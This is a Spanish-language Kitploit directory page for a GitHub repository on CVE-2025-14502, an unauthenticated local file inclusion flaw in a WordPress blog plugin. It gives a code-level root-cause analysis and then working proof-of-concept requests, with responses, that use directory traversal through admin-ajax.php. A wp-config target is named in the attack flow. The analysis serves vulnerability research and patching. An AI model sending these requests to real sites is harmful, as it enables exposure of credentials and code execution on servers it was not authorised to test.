Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/kai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubkai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

Ver Repositorio
2hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

El complemento News and Blog Designer Bundle de WordPress, en todas las versiones hasta la 1.1 e incluyéndola, presenta una vulnerabilidad de inclusión de archivos locales provocada por el parámetro template. Esta vulnerabilidad permite a atacantes no autenticados incluir y ejecutar cualquier archivo .php presente en el servidor, ejecutando así cualquier código PHP contenido en dichos archivos. En escenarios donde esté permitido cargar e incluir archivos de tipo .php, los atacantes pueden aprovechar esta vulnerabilidad para eludir controles de acceso, obtener datos sensibles o lograr la ejecución de código.

Compartir

Informe de análisis de la vulnerabilidad CVE-2025-14502

Resumen de la vulnerabilidad

Tipo de vulnerabilidad: Inclusión Local de Archivos (Local File Inclusion, LFI)
Versiones afectadas: News and Blog Designer Bundle 1.1 y todas las versiones anteriores
Severidad: Alta
Complejidad del ataque: Baja (sin autenticación)

Análisis de la causa de la vulnerabilidad

1. Ubicación de la vulnerabilidad

La vulnerabilidad principal se encuentra en el método nbdb_fetch_more_post() del archivo includes/class-nbdb-ajax.php.

2. Detalles de la auditoría de código

2.1 Ubicación del código vulnerable

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));

$template_file_path 	= NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file 		= (file_exists($template_file_path)) 	? $template_file_path 	: '';

2.2 Análisis de la causa de la vulnerabilidad

Problema 1: Uso inadecuado de la función extract()

La línea 31 del código presenta un problema grave:

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));
  • La función extract() extrae las claves del array como nombres de variables y los valores como valores de variables, directamente en el ámbito actual
  • El valor de retorno de extract() es el número de variables extraídas correctamente (un entero), no el array en sí
  • La función sanitize_text_field() espera recibir un argumento de tipo cadena (string), pero aquí se le pasa un entero
  • Por lo tanto, esta línea de código no proporciona ninguna protección de seguridad en la práctica

Problema 2: Falta de validación de parámetros

La línea 33 utiliza directamente la variable $template para construir la ruta del archivo:

root@kitploit:~
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
  • La variable $template proviene de extract($_POST['shrt_param']), completamente controlada por la entrada del usuario
  • No hay ninguna validación de lista blanca
  • No hay ningún procesamiento de normalización de rutas
  • Permite ataques de traversal de directorios

Problema 3: Solo se comprueba la existencia del archivo

La línea 34 solo comprueba si el archivo existe:

root@kitploit:~
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
  • file_exists() solo verifica si el archivo existe, no valida la legitimidad de la ruta
  • Si un atacante puede controlar el parámetro $template, puede realizar traversal de directorios mediante ../
  • Finalmente, en la línea 93 se ejecuta include($template_file), lo que provoca la inclusión arbitraria de archivos

2.3 Comparación: implementación segura de las funciones de procesamiento de shortcodes

En shortcodes/class-nbdb-shortcode.php, todas las funciones de procesamiento de shortcodes utilizan validación de lista blanca:

root@kitploit:~
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
  • Se utiliza la función nbdb_post_template() para obtener la lista de plantillas permitidas (solo template-1 y template-2)
  • Se utiliza array_key_exists() para realizar la validación de lista blanca
  • Si no está en la lista blanca, se utiliza el valor predeterminado template-1

Esto demuestra que los desarrolladores saben cómo validar los parámetros correctamente, pero omitieron la validación en la función de procesamiento AJAX.

3. Vector de ataque

3.1 Acceso sin autenticación

root@kitploit:~
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
  • Se registran tanto los hooks wp_ajax_ como wp_ajax_nopriv_
  • wp_ajax_nopriv_ permite el acceso a usuarios no autenticados
  • Un atacante puede explotar esta vulnerabilidad sin ningún tipo de autenticación

3.2 Flujo del ataque

  1. El atacante construye una solicitud POST maliciosa hacia /wp-admin/admin-ajax.php
  2. Establece action=nbdb_fetch_more_post
  3. Inyecta una carga útil de traversal de directorios en shrt_param[template] (por ejemplo, ../../../../wp-config)
  4. El servidor ejecuta extract($_POST['shrt_param']), extrayendo template como variable
  5. Construye la ruta: NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'
  6. Si el archivo objetivo existe, file_exists() devuelve true
  7. Ejecuta include($template_file), incluyendo y ejecutando el archivo PHP objetivo

4. Impacto de la vulnerabilidad

4.1 Daños directos

  • Ejecución de código: si es posible incluir un archivo PHP ejecutable, podría provocar ejecución remota de código (RCE)
  • Fuga de información sensible: se puede leer el contenido de archivos PHP en el servidor (como wp-config.php)
  • Escalada de privilegios: en ciertas configuraciones podría eludir el control de acceso

4.2 Condiciones de explotación

  • El archivo objetivo debe existir y ser legible
  • El archivo objetivo debe tener extensión .php (el sufijo .php está codificado de forma fija en el código)
  • El servidor debe permitir que include() ejecute los archivos incluidos. La premisa para "poder leer" es que el PHP incluido tenga una salida visible por sí mismo (echo/print/errores/respuestas de protocolo); de lo contrario, no podrás ver el contenido.

Pasos de verificación de la vulnerabilidad

1. Construcción de la solicitud de prueba

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

1.1. Análisis de la respuesta

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>-32700</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>parse error. not well formed</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

2. Construcción de la solicitud de prueba

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

2.1. Análisis de la respuesta

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8

{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}
Descargar herramienta